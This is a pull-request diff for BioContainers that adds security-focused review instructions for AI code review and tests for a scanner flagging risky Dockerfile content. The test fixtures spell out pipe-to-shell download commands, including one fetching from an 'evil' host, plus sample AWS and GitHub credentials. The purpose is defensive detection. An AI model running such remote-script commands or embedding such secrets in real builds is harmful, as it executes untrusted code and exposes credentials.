Merge pull request #625 from BioContainers/ci/dockerfile-risk-scan

CI: surface risky Dockerfile content to reviewers, add Copilot review, fix S3 upload

Author: ypriverol

.github/copilot-instructions.md

@@ -0,0 +1,41 @@
+# BioContainers — Copilot review & chat instructions
+
+This repository accepts **community pull requests that each add or update exactly one
+container**, laid out as `<tool>/<version>/Dockerfile` (an optional
+`<tool>/<version>/test-cmds.txt` holds one smoke-test command per line). Contributors
+are trusted only as far as review can verify, so when you review a PR here, **treat the
+Dockerfile as untrusted input and prioritise security and provenance over style.**
+
+## What to flag on every container PR
+
+Call these out explicitly, cite the **exact line**, and explain the risk in one sentence:
+
+- **Remote code execution at build time** — `curl … | sh`, `wget … | bash`, or any
+  pipe of a downloaded script into an interpreter. Name the domain and ask the author to
+  justify trusting it; prefer a pinned release download verified with a checksum.
+- **Insecure or unverifiable downloads** — plain `http://`, URL shorteners
+  (`bit.ly`, `t.co`, …), pastebins/gists, bare IP addresses, `ADD <url>` (no checksum),
+  or `--insecure` / `--no-check-certificate`.
+- **Embedded secrets** — any AWS key, GitHub/Slack token, private key, or
+  `password=`/`api_key=` value. This must block the PR; the credential is already in
+  git history and must be rotated.
+- **Base image** — the `FROM` should be an official `biocontainers/*` (or
+  `quay.io/biocontainers/*`) image. Anything else warrants an explicit justification.
+- **Package provenance** — installs without a pinned version, or package names that look
+  typosquatted or unrelated to the tool being packaged.
+- **Excess privilege / footprint** — `chmod 777`, `sudo`, opening ports, writing outside
+  the build, running as root without returning to `USER biodocker`, or anything that
+  "phones home".
+
+## Metadata the CI already enforces (reinforce, don't duplicate)
+
+Required LABELs: `software`, `software.version` (must equal the version directory),
+`version`, `base_image`, `about.summary` (≥ 20 chars), `about.home`, `about.license`
+(an SPDX id). The image tag is `<version>_cv<version-label>`. If any of these look wrong
+or implausible, mention it, but the Python validator (`.github/scripts/validate.py`) is
+the source of truth for pass/fail — your job is the judgement calls it cannot encode.
+
+## Style
+
+Keep comments specific and actionable. Prefer one precise comment on the risky line over
+a general summary. Do not rewrite the whole Dockerfile; suggest the minimal safer form.

.github/instructions/dockerfile.instructions.md

@@ -0,0 +1,27 @@
+---
+applyTo: "**/Dockerfile"
+---
+
+# Reviewing a BioContainers Dockerfile
+
+When the diff touches a `Dockerfile`, review it as **untrusted contributor input** and
+lead with security. For each concern, cite the exact line and give the safer alternative.
+
+Hard stops (should block the PR):
+- Any embedded credential — AWS key (`AKIA…`), GitHub token (`ghp_…`), Slack token,
+  private key block, or a real-looking `password=` / `secret=` / `api_key=` value.
+
+Always question (comment, don't necessarily block):
+- `curl … | sh` / `wget … | bash` — a remote script executed at build time. Which domain?
+  Is it pinned? Prefer downloading a tagged release and verifying a checksum.
+- `http://` downloads, `ADD <url>`, URL shorteners, pastebins/gists, bare-IP hosts,
+  `--insecure` / `--no-check-certificate`.
+- `FROM` that is not `biocontainers/*` or `quay.io/biocontainers/*`.
+- Unpinned or typosquatted package installs; `chmod 777`; `sudo`; running as root without
+  a final `USER biodocker`.
+
+Also confirm the required LABELs are present and coherent: `software`,
+`software.version` (= the version directory name), `version`, `base_image`,
+`about.summary`, `about.home`, `about.license` (SPDX id).
+
+Prefer one precise comment on the offending line over a broad summary.

.github/scripts/tests/test_validate.py

@@ -178,3 +178,185 @@ def test_check_tag_defaults_cv1_when_version_blank(tmp_path, monkeypatch):
     # version label blank is itself an error, but the tag still falls back to _cv1
     assert tag == "2.1.5-7-deb_cv1"
     assert ok is False
+
+
+# ---------------------------------------------------------------- risk scan
+
+def _scan(tmp_path, body):
+    df = tmp_path / "Dockerfile"
+    df.write_text(body)
+    return validate.scan_dockerfile_risks(str(df))
+
+
+def checklist_msgs(checklist):
+    return [c["msg"] for c in checklist]
+
+
+def test_scan_flags_curl_pipe_shell(tmp_path):
+    # the phynest/#621 case
+    secrets, checklist = _scan(
+        tmp_path,
+        "FROM biocontainers/biocontainers:v1.0.0_cv5\n"
+        "RUN curl -fsSL https://install.julialang.org | sh -s -- -y\n")
+    assert secrets == []
+    assert any("remote script" in c for c in checklist_msgs(checklist))
+
+
+def test_scan_flags_wget_pipe_bash(tmp_path):
+    _, checklist = _scan(tmp_path, "FROM biocontainers/x\nRUN wget -qO- http://x | bash\n")
+    msgs = checklist_msgs(checklist)
+    assert any("remote script" in m for m in msgs)
+    assert any("insecure `http://`" in m for m in msgs)
+
+
+def test_scan_flags_add_url_and_bare_ip(tmp_path):
+    _, checklist = _scan(tmp_path, "FROM biocontainers/x\nADD https://10.0.0.1/pkg.tar /tmp/\n")
+    msgs = checklist_msgs(checklist)
+    assert any("`ADD <url>`" in m for m in msgs)
+    assert any("bare IP" in m for m in msgs)
+
+
+def test_scan_flags_non_biocontainers_base(tmp_path):
+    _, checklist = _scan(tmp_path, "FROM debian:stable-slim\nRUN echo hi\n")
+    assert any("not an official `biocontainers/*`" in m for m in checklist_msgs(checklist))
+
+
+def test_scan_accepts_quay_biocontainers_base(tmp_path):
+    _, checklist = _scan(tmp_path, "FROM quay.io/biocontainers/samtools:1.19\nRUN echo hi\n")
+    assert not any("not an official" in m for m in checklist_msgs(checklist))
+
+
+def test_scan_flags_each_unapproved_stage_once(tmp_path):
+    # every non-biocontainers stage is surfaced; a repeated base is flagged only once
+    _, checklist = _scan(
+        tmp_path,
+        "FROM golang:1.22 AS build\nRUN go build\nFROM golang:1.22\nRUN x\n"
+        "FROM alpine\nCOPY --from=build /x /x\n")
+    base_flags = [m for m in checklist_msgs(checklist) if "not an official" in m]
+    assert len(base_flags) == 2  # golang:1.22 (deduped) + alpine
+
+
+def test_scan_ignores_comments(tmp_path):
+    secrets, checklist = _scan(
+        tmp_path,
+        "FROM biocontainers/x\n# RUN curl http://evil | sh  (this is a comment)\nRUN echo ok\n")
+    assert secrets == []
+    assert checklist == []
+
+
+def test_scan_blocks_aws_key(tmp_path):
+    secrets, _ = _scan(
+        tmp_path, "FROM biocontainers/x\nENV KEY=AKIAIOSFODNN7EXAMPLE\n")
+    assert any("AWS access key" in s["msg"] for s in secrets)
+
+
+def test_scan_blocks_private_key(tmp_path):
+    secrets, _ = _scan(
+        tmp_path, "FROM biocontainers/x\nRUN echo '-----BEGIN OPENSSH PRIVATE KEY-----'\n")
+    assert any("private key" in s["msg"] for s in secrets)
+
+
+def test_scan_credential_heuristic_does_not_echo_value(tmp_path):
+    # advisory only, and the matched line must NOT be echoed (no snippet leak)
+    secrets, checklist = _scan(
+        tmp_path, "FROM biocontainers/x\nENV DB_PASSWORD=hunter2secret\n")
+    assert secrets == []
+    cred = [c for c in checklist if "embed a credential" in c["msg"]]
+    assert cred and cred[0]["snippet"] == ""
+
+
+def test_scan_http_in_label_is_not_a_download(tmp_path):
+    # a homepage URL in a LABEL must NOT be flagged as an insecure download
+    _, checklist = _scan(
+        tmp_path,
+        'FROM biocontainers/x\nLABEL about.home="http://example.org"\nRUN echo ok\n')
+    assert not any("insecure `http://`" in m for m in checklist_msgs(checklist))
+
+
+def test_scan_catches_split_curl_pipe_shell(tmp_path):
+    # backslash continuation must not let `curl … | sh` evade the scan
+    _, checklist = _scan(
+        tmp_path,
+        "FROM biocontainers/x\nRUN curl -fsSL https://x.sh \\\n    | sh\n")
+    assert any("remote script" in m for m in checklist_msgs(checklist))
+
+
+def test_scan_secret_line_snippet_not_echoed(tmp_path):
+    # a line that trips BOTH a secret rule and curl|sh must be blocked AND must not
+    # echo the token into the checklist snippet (Codex high finding)
+    token = "ghp_" + "abcdefghijklmnopqrstuvwxyz0123456789"  # 36 chars after ghp_
+    secrets, checklist = _scan(
+        tmp_path,
+        "FROM biocontainers/x\nRUN curl -H 'Authorization: %s' https://x | sh\n" % token)
+    assert any("GitHub personal access token" in s["msg"] for s in secrets)
+    remote = [c for c in checklist if "remote script" in c["msg"]]
+    assert remote and remote[0]["snippet"] == ""       # no token leak
+
+
+def test_scan_env_space_form_aws_secret_blocks(tmp_path):
+    # `ENV KEY value` (no '=') is valid Dockerfile syntax and must not bypass the scan
+    secrets, _ = _scan(
+        tmp_path, "FROM biocontainers/x\nENV AWS_SECRET_ACCESS_KEY %s\n" % ("A" * 40))
+    assert any("AWS secret access key" in s["msg"] for s in secrets)
+
+
+def test_scan_env_space_form_password_advisory(tmp_path):
+    _, checklist = _scan(
+        tmp_path, "FROM biocontainers/x\nENV DB_PASSWORD hunter2secretvalue\n")
+    assert any("embed a credential" in m for m in checklist_msgs(checklist))
+
+
+def test_scan_catches_heredoc_curl_pipe_shell(tmp_path):
+    _, checklist = _scan(
+        tmp_path,
+        "FROM biocontainers/x\nRUN <<EOF\ncurl -fsSL https://evil/install.sh | sh\nEOF\n")
+    assert any("remote script" in m for m in checklist_msgs(checklist))
+
+
+def test_scan_from_platform_flag_not_misparsed(tmp_path):
+    _, checklist = _scan(
+        tmp_path,
+        "FROM --platform=linux/amd64 biocontainers/biocontainers:v1\nRUN echo ok\n")
+    assert not any("not an official" in m for m in checklist_msgs(checklist))
+
+
+def test_scan_flags_non_biocontainers_final_stage(tmp_path):
+    _, checklist = _scan(
+        tmp_path,
+        "FROM biocontainers/biocontainers:v1 AS build\nRUN make\n"
+        "FROM debian:stable-slim\nCOPY --from=build /x /x\n")
+    flags = [m for m in checklist_msgs(checklist) if "not an official" in m]
+    assert flags and any("debian" in m for m in flags)
+
+
+def test_scan_from_stage_reference_not_flagged(tmp_path):
+    _, checklist = _scan(
+        tmp_path,
+        "FROM biocontainers/biocontainers:v1 AS base\nRUN x\nFROM base\nRUN y\n")
+    assert not any("not an official" in m for m in checklist_msgs(checklist))
+
+
+def test_scan_clean_dockerfile_no_findings(tmp_path):
+    secrets, checklist = _scan(
+        tmp_path,
+        "FROM biocontainers/biocontainers:v1.2.0_cv1\n"
+        "RUN apt-get update && apt-get install -y samtools\n")
+    assert secrets == []
+    assert checklist == []
+
+
+def test_cmd_detect_populates_review_checklist(tmp_path):
+    (tmp_path / "tool" / "1").mkdir(parents=True)
+    (tmp_path / "tool" / "1" / "Dockerfile").write_text(
+        "FROM biocontainers/x\nRUN curl -fsSL https://x.sh | sh\n")
+    out = tmp_path / "report.json"
+    (tmp_path / "cf.txt").write_text("tool/1/Dockerfile\n")
+    import argparse
+    import json as _json
+    args = argparse.Namespace(
+        changed_files=str(tmp_path / "cf.txt"), workdir=str(tmp_path), out=str(out))
+    rc = validate.cmd_detect(args)
+    report = _json.loads(out.read_text())
+    assert rc == 0
+    assert report["ok"] is True  # advisory, does not fail the build
+    assert any("remote script" in c for c in report["review_checklist"])